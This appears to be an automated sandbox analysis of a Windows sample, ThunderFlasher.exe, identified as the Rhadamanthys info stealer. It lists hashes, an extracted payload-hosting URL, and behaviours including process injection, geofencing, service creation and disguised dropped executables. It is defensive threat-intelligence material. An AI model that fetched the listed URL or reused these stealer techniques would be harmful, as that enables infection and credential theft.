Analysis
-
max time kernel
1800s -
max time network
1173s -
platform
windows10-2004_x64 -
resource
win10v2004-20240611-en -
resource tags
arch:x64arch:x86image:win10v2004-20240611-enlocale:en-usos:windows10-2004-x64system -
submitted
28-06-2024 07:57
Static task
static1
Behavioral task
behavioral1
Sample
ThunderFlasher.exe
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
ThunderFlasher.exe
Resource
win10v2004-20240611-en
General
-
Target
ThunderFlasher.exe
-
Size
7KB
-
MD5
b5e479d3926b22b59926050c29c4e761
-
SHA1
a456cc6993d12abe6c44f2d453d7ae5da2029e24
-
SHA256
fbc4058b92d9bc4dda2dbc64cc61d0b3f193415aad15c362a5d87c90ca1be30b
-
SHA512
09d1aa9b9d7905c37b76a6b697de9f2230219e7f51951654de73b0ad47b8bb8f93cf63aa4688a958477275853b382a2905791db9dcb186cad7f96015b2909fe8
-
SSDEEP
192:q+yk9cqvjX3xszdzztCbxbsIcaqc2Ng5vGIcaBSNtUqOwciQjdv:Tyk9Hv1O/Cbxbbcaqc2NidcaANt/dcio
Malware Config
Extracted
https://rentry.org/lem61111111111/raw
Signatures
-
Rhadamanthys
Rhadamanthys is an info stealer written in C++ first seen in August 2022.
-
Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
Processes:
carrcfqp.bqj2.exedescription pid process target process PID 4044 created 2956 4044 carrcfqp.bqj2.exe sihost.exe -
Blocklisted process makes network request 5 IoCs
Processes:
powershell.exepowershell.exemsiexec.exepowershell.exeflow pid process 5 2492 powershell.exe 12 2492 powershell.exe 37 4632 powershell.exe 60 208 msiexec.exe 76 3784 powershell.exe -
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepid process 2492 powershell.exe 2220 powershell.exe 4632 powershell.exe 3784 powershell.exe -
Creates new service(s) 2 TTPs
-
Downloads MZ/PE file
-
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
ThunderFlasher.execarrcfqp.bqj3.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-3169499791-3545231813-3156325206-1000\Control Panel\International\Geo\Nation ThunderFlasher.exe Key value queried \REGISTRY\USER\S-1-5-21-3169499791-3545231813-3156325206-1000\Control Panel\International\Geo\Nation carrcfqp.bqj3.exe -
Executes dropped EXE 8 IoCs
Processes:
carrcfqp.bqj0.execarrcfqp.bqj1.execarrcfqp.bqj2.execarrcfqp.bqj3.exeSteam.exeSteam.exeSteam.exeSteam.exepid process 4748 carrcfqp.bqj0.exe 2448 carrcfqp.bqj1.exe 4044 carrcfqp.bqj2.exe 392 carrcfqp.bqj3.exe 1764 Steam.exe 60 Steam.exe 4272 Steam.exe 2160 Steam.exe -
Loads dropped DLL 19 IoCs
Processes:
carrcfqp.bqj0.exeSteam.exeSteam.exeSteam.exeMsiExec.exeMsiExec.exeMsiExec.exeSteam.exepid process 4748 carrcfqp.bqj0.exe 4748 carrcfqp.bqj0.exe 4748 carrcfqp.bqj0.exe 4748 carrcfqp.bqj0.exe 1764 Steam.exe 60 Steam.exe 4272 Steam.exe 60 Steam.exe 60 Steam.exe 60 Steam.exe 60 Steam.exe 2188 MsiExec.exe 2188 MsiExec.exe 2188 MsiExec.exe 2188 MsiExec.exe 5108 MsiExec.exe 6052 MsiExec.exe 2160 Steam.exe 2160 Steam.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Enumerates connected drives 3 TTPs 23 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
Processes:
msiexec.exedescription ioc process File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\V: msiexec.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
-
Power Settings 1 TTPs 4 IoCs
powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.
Processes:
powercfg.exepowercfg.exepowercfg.exepowercfg.exepid process 2692 powercfg.exe 4456 powercfg.exe 4620 powercfg.exe 4776 powercfg.exe -
Drops file in System32 directory 15 IoCs
Processes:
svchost.exeOfficeClickToRun.exesvchost.exesvchost.execarrcfqp.bqj1.exedescription ioc process File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_363582827213C09529A76F35FB615187 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml OfficeClickToRun.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_363582827213C09529A76F35FB615187 OfficeClickToRun.exe File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4UserMode.evtx svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_6372E0472AFF76BB926C97818BC773B9 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-RestartManager%4Operational.evtx svchost.exe File opened for modification C:\Windows\System32\Tasks\RunNodeScriptAtLogon svchost.exe File opened for modification C:\Windows\system32\MRT.exe carrcfqp.bqj1.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_363582827213C09529A76F35FB615187 OfficeClickToRun.exe File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
carrcfqp.bqj1.exedescription pid process target process PID 2448 set thread context of 4708 2448 carrcfqp.bqj1.exe dialer.exe -
Drops file in Program Files directory 64 IoCs
Processes:
msiexec.exedescription ioc process File created C:\Program Files\nodejs\node_modules\npm\node_modules\chalk\package.json msiexec.exe File created C:\Program Files\nodejs\node_modules\npm\node_modules\err-code\index.umd.js msiexec.exe File created C:\Program Files\nodejs\node_modules\npm\node_modules\node-gyp\gyp\pylib\packaging\py.typed msiexec.exe File created C:\Program Files\nodejs\node_modules\npm\node_modules\postcss-selector-parser\dist\selectors\pseudo.js msiexec.exe File created C:\Program Files\nodejs\node_modules\npm\man\man1\npm-adduser.1 msiexec.exe File created C:\Program Files\nodejs\node_modules\npm\node_modules\@npmcli\run-script\lib\run-script-pkg.js msiexec.exe File created C:\Program Files\nodejs\node_modules\npm\node_modules\color-convert\index.js msiexec.exe File created C:\Program Files\nodejs\node_modules\npm\node_modules\minipass-json-stream\node_modules\minipass\index.js msiexec.exe File created C:\Program Files\nodejs\node_modules\npm\node_modules\shebang-regex\package.json msiexec.exe File created C:\Program Files\nodejs\node_modules\npm\lib\npm.js msiexec.exe File created C:\Program Files\nodejs\node_modules\npm\node_modules\@sigstore\core\dist\asn1\length.js msiexec.exe File created C:\Program Files\nodejs\node_modules\npm\node_modules\@sigstore\sign\dist\witness\witness.js msiexec.exe File created C:\Program Files\nodejs\node_modules\npm\node_modules\shebang-command\package.json msiexec.exe File created C:\Program Files\nodejs\node_modules\npm\node_modules\signal-exit\dist\mjs\index.js msiexec.exe File created C:\Program Files\nodejs\node_modules\npm\node_modules\strip-ansi-cjs\package.json msiexec.exe File created C:\Program Files\nodejs\node_modules\npm\node_modules\@sigstore\tuf\dist\error.js msiexec.exe File created C:\Program Files\nodejs\node_modules\npm\node_modules\balanced-match\package.json msiexec.exe File created C:\Program Files\nodejs\node_modules\npm\node_modules\cross-spawn\node_modules\which\package.json msiexec.exe File created C:\Program Files\nodejs\node_modules\npm\node_modules\https-proxy-agent\dist\index.js msiexec.exe File created C:\Program Files\nodejs\node_modules\npm\node_modules\qrcode-terminal\example\basic.js msiexec.exe File created C:\Program Files\nodejs\node_modules\npm\.npmrc msiexec.exe File created C:\Program Files\nodejs\node_modules\npm\node_modules\@npmcli\git\lib\is-clean.js msiexec.exe File created C:\Program Files\nodejs\node_modules\npm\node_modules\cli-table3\package.json msiexec.exe File created C:\Program Files\nodejs\node_modules\npm\node_modules\negotiator\lib\encoding.js msiexec.exe File created C:\Program Files\nodejs\node_modules\npm\node_modules\read-cmd-shim\LICENSE msiexec.exe File created C:\Program Files\nodejs\node_modules\corepack\shims\nodewin\pnpx msiexec.exe File created C:\Program Files\nodejs\node_modules\npm\docs\output\commands\npm-publish.html msiexec.exe File created C:\Program Files\nodejs\node_modules\npm\docs\output\commands\npm.html msiexec.exe File created C:\Program Files\nodejs\node_modules\npm\node_modules\@sigstore\sign\dist\external\rekor.js msiexec.exe File created C:\Program Files\nodejs\node_modules\npm\node_modules\pacote\lib\util\npm.js msiexec.exe File created C:\Program Files\nodejs\node_modules\npm\node_modules\minipass\dist\esm\package.json msiexec.exe File created C:\Program Files\nodejs\node_modules\npm\node_modules\proc-log\lib\index.js msiexec.exe File created C:\Program Files\nodejs\node_modules\npm\node_modules\node-gyp\gyp\pylib\gyp\generator\cmake.py msiexec.exe File created C:\Program Files\nodejs\node_modules\npm\node_modules\@npmcli\node-gyp\package.json msiexec.exe File created C:\Program Files\nodejs\node_modules\npm\node_modules\clone\clone.iml msiexec.exe File created C:\Program Files\nodejs\node_modules\npm\node_modules\mkdirp\LICENSE msiexec.exe File created C:\Program Files\nodejs\node_modules\corepack\shims\npx.ps1 msiexec.exe File created C:\Program Files\nodejs\node_modules\npm\node_modules\@npmcli\package-json\lib\update-dependencies.js msiexec.exe File created C:\Program Files\nodejs\node_modules\npm\docs\content\using-npm\workspaces.md msiexec.exe File created C:\Program Files\nodejs\node_modules\npm\node_modules\@npmcli\arborist\package.json msiexec.exe File created C:\Program Files\nodejs\node_modules\npm\node_modules\function-bind\index.js msiexec.exe File created C:\Program Files\nodejs\node_modules\npm\node_modules\write-file-atomic\LICENSE.md msiexec.exe File created C:\Program Files\nodejs\node_modules\npm\node_modules\minipass-flush\node_modules\minipass\index.js msiexec.exe File created C:\Program Files\nodejs\node_modules\npm\node_modules\npm-registry-fetch\package.json msiexec.exe File created C:\Program Files\nodejs\node_modules\npm\node_modules\tar\node_modules\fs-minipass\LICENSE msiexec.exe File created C:\Program Files\nodejs\node_modules\npm\node_modules\hasown\LICENSE msiexec.exe File created C:\Program Files\nodejs\node_modules\npm\node_modules\tar\lib\get-write-flag.js msiexec.exe File created C:\Program Files\nodejs\node_modules\npm\node_modules\color-name\package.json msiexec.exe File created C:\Program Files\nodejs\node_modules\npm\node_modules\iconv-lite\encodings\tables\gbk-added.json msiexec.exe File created C:\Program Files\nodejs\node_modules\npm\node_modules\imurmurhash\package.json msiexec.exe File created C:\Program Files\nodejs\node_modules\npm\node_modules\wrap-ansi\node_modules\strip-ansi\package.json msiexec.exe File created C:\Program Files\nodejs\node_modules\npm\bin\npx msiexec.exe File created C:\Program Files\nodejs\node_modules\npm\node_modules\bin-links\lib\get-prefix.js msiexec.exe File created C:\Program Files\nodejs\node_modules\npm\node_modules\clean-stack\index.js msiexec.exe File created C:\Program Files\nodejs\node_modules\npm\node_modules\clone\package.json msiexec.exe File created C:\Program Files\nodejs\node_modules\npm\node_modules\semver\ranges\max-satisfying.js msiexec.exe File created C:\Program Files\nodejs\node_modules\npm\man\man1\npm-docs.1 msiexec.exe File created C:\Program Files\nodejs\node_modules\npm\node_modules\@npmcli\arborist\lib\signals.js msiexec.exe File created C:\Program Files\nodejs\node_modules\npm\node_modules\@npmcli\promise-spawn\package.json msiexec.exe File created C:\Program Files\nodejs\node_modules\npm\node_modules\ini\LICENSE msiexec.exe File created C:\Program Files\nodejs\node_modules\npm\node_modules\npm-profile\lib\index.js msiexec.exe File created C:\Program Files\nodejs\node_modules\npm\node_modules\are-we-there-yet\package.json msiexec.exe File created C:\Program Files\nodejs\node_modules\npm\docs\content\using-npm\logging.md msiexec.exe File created C:\Program Files\nodejs\node_modules\npm\man\man1\npm-explain.1 msiexec.exe -
Drops file in Windows directory 17 IoCs
Processes:
svchost.exemsiexec.exedescription ioc process File opened for modification C:\Windows\SoftwareDistribution\DataStore\Logs\edb.chk svchost.exe File created C:\Windows\Installer\e58945b.msi msiexec.exe File opened for modification C:\Windows\Installer\e58945b.msi msiexec.exe File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log msiexec.exe File created C:\Windows\Installer\SourceHash{637236E9-EF59-4F9D-8269-3083C1A6C6D6} msiexec.exe File opened for modification C:\Windows\Installer\{637236E9-EF59-4F9D-8269-3083C1A6C6D6}\NodeIcon msiexec.exe File opened for modification C:\Windows\Installer\MSI98A1.tmp msiexec.exe File created C:\Windows\Installer\{637236E9-EF59-4F9D-8269-3083C1A6C6D6}\NodeIcon msiexec.exe File opened for modification C:\Windows\Installer\MSI3FF2.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI9910.tmp msiexec.exe File created C:\Windows\Installer\inprogressinstallinfo.ipi msiexec.exe File opened for modification C:\Windows\Installer\MSIB14D.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIC468.tmp msiexec.exe File created C:\Windows\Installer\e58945f.msi msiexec.exe File opened for modification C:\Windows\Installer\MSI993F.tmp msiexec.exe File opened for modification C:\Windows\Installer\ msiexec.exe File opened for modification C:\Windows\Installer\MSI4717.tmp msiexec.exe -
Launches sc.exe 7 IoCs
Sc.exe is a Windows utlilty to control services on the system.
Processes:
sc.exesc.exesc.exesc.exesc.exesc.exesc.exepid process 2656 sc.exe 640 sc.exe 1876 sc.exe 3392 sc.exe 4756 sc.exe 4420 sc.exe 3664 sc.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Modifies data under HKEY_USERS 20 IoCs
Processes:
OfficeClickToRun.exemsiexec.exesvchost.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry OfficeClickToRun.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2a\52C64B7E msiexec.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2a msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0 OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections svchost.exe Key deleted \REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR OfficeClickToRun.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common OfficeClickToRun.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,7202269,17110992,41484365,39965824,7153487,17110988,508368333,17962391,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2b msiexec.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor OfficeClickToRun.exe Key created \REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Fri, 28 Jun 2024 07:59:00 GMT" OfficeClickToRun.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={4499A2BC-FDCE-4452-95AC-75E1689B3487}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata OfficeClickToRun.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6" OfficeClickToRun.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1719561539" OfficeClickToRun.exe -
Modifies registry class 64 IoCs
Processes:
RuntimeBroker.exemsiexec.exesihost.exeExplorer.EXERuntimeBroker.exedescription ioc process Set value (int) \REGISTRY\USER\S-1-5-21-3169499791-3545231813-3156325206-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\b9470bf6-a793-4d28 = "0" RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-3169499791-3545231813-3156325206-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\5d45c7a2-c695-436c = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy" RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-3169499791-3545231813-3156325206-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\af3c46c1-742a-44fa = bf7fd21431c9da01 RuntimeBroker.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\9E63273695FED9F4289603381C6A6C6D\npm msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\9E63273695FED9F4289603381C6A6C6D\EnvironmentPath msiexec.exe Set value (int) \REGISTRY\USER\S-1-5-21-3169499791-3545231813-3156325206-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\WasEverActivated = "1" sihost.exe Key created \REGISTRY\USER\S-1-5-21-3169499791-3545231813-3156325206-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-3169499791-3545231813-3156325206-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\b9470bf6-a793-4d28 = de07ef1331c9da01 RuntimeBroker.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\9E63273695FED9F4289603381C6A6C6D\DocumentationShortcuts msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\9E63273695FED9F4289603381C6A6C6D\EnvironmentPathNpmModules = "EnvironmentPath" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9E63273695FED9F4289603381C6A6C6D\AuthorizedLUAApp = "0" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9E63273695FED9F4289603381C6A6C6D\SourceList\Media msiexec.exe Key created \REGISTRY\USER\S-1-5-21-3169499791-3545231813-3156325206-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-3169499791-3545231813-3156325206-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\5d45c7a2-c695-436c = "\\\\?\\Volume{2497E243-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\bee75d1761020f883ce2536ba044a7d7d9f30a718322a5ce2a425589f8565a70" RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-3169499791-3545231813-3156325206-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\af3c46c1-742a-44fa = "\\\\?\\Volume{2497E243-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\3cb6a01a3d869126997a59aec3c7720e72b03f778da1ad633797e986f09cab9d" RuntimeBroker.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9E63273695FED9F4289603381C6A6C6D\AdvertiseFlags = "388" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9E63273695FED9F4289603381C6A6C6D\ProductIcon = "C:\\Windows\\Installer\\{637236E9-EF59-4F9D-8269-3083C1A6C6D6}\\NodeIcon" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9E63273695FED9F4289603381C6A6C6D\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\9C7E.tmp\\" msiexec.exe Key created \REGISTRY\USER\S-1-5-21-3169499791-3545231813-3156325206-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\729ee10c-088d-4405 RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-3169499791-3545231813-3156325206-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\b9470bf6-a793-4d28 = "\\\\?\\Volume{2497E243-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\bee75d1761020f883ce2536ba044a7d7d9f30a718322a5ce2a425589f8565a70" RuntimeBroker.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\9E63273695FED9F4289603381C6A6C6D\corepack msiexec.exe Key created \REGISTRY\USER\S-1-5-21-3169499791-3545231813-3156325206-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\ Explorer.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\A3A70C74FE2431248AD5F8A59570C782 msiexec.exe Set value (int) \REGISTRY\USER\S-1-5-21-3169499791-3545231813-3156325206-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\729ee10c-088d-4405 = "8324" RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-3169499791-3545231813-3156325206-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\b9470bf6-a793-4d28 RuntimeBroker.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9E63273695FED9F4289603381C6A6C6D\PackageCode = "AC6AA920FB9737143A7998E5BED98A71" msiexec.exe Set value (data) \REGISTRY\USER\S-1-5-21-3169499791-3545231813-3156325206-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\5d45c7a2-c695-436c = 2d25c41431c9da01 RuntimeBroker.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9E63273695FED9F4289603381C6A6C6D\ProductName = "Node.js" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9E63273695FED9F4289603381C6A6C6D\Version = "336330754" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9E63273695FED9F4289603381C6A6C6D\Assignment = "1" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9E63273695FED9F4289603381C6A6C6D\SourceList\Net msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\ Explorer.EXE Set value (data) \REGISTRY\USER\S-1-5-21-3169499791-3545231813-3156325206-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\729ee10c-088d-4405 = 0114020000000000c0000000000000464c0000000114020000000000c0000000000000468300000020000000e293d61331c9da01e293d61331c9da01e293d61331c9da01000000000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad01320000000000dc586a3f2000336362366130316133643836393132363939376135396165633363373732306537326230336637373864613161643633333739376539383666303963616239640000b20009000400efbedc586a3fdc586a3f2e000000000000000000000000000000000000000000000000001e28f000330063006200360061003000310061003300640038003600390031003200360039003900370061003500390061006500630033006300370037003200300065003700320062003000330066003700370038006400610031006100640036003300330037003900370065003900380036006600300039006300610062003900640000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403a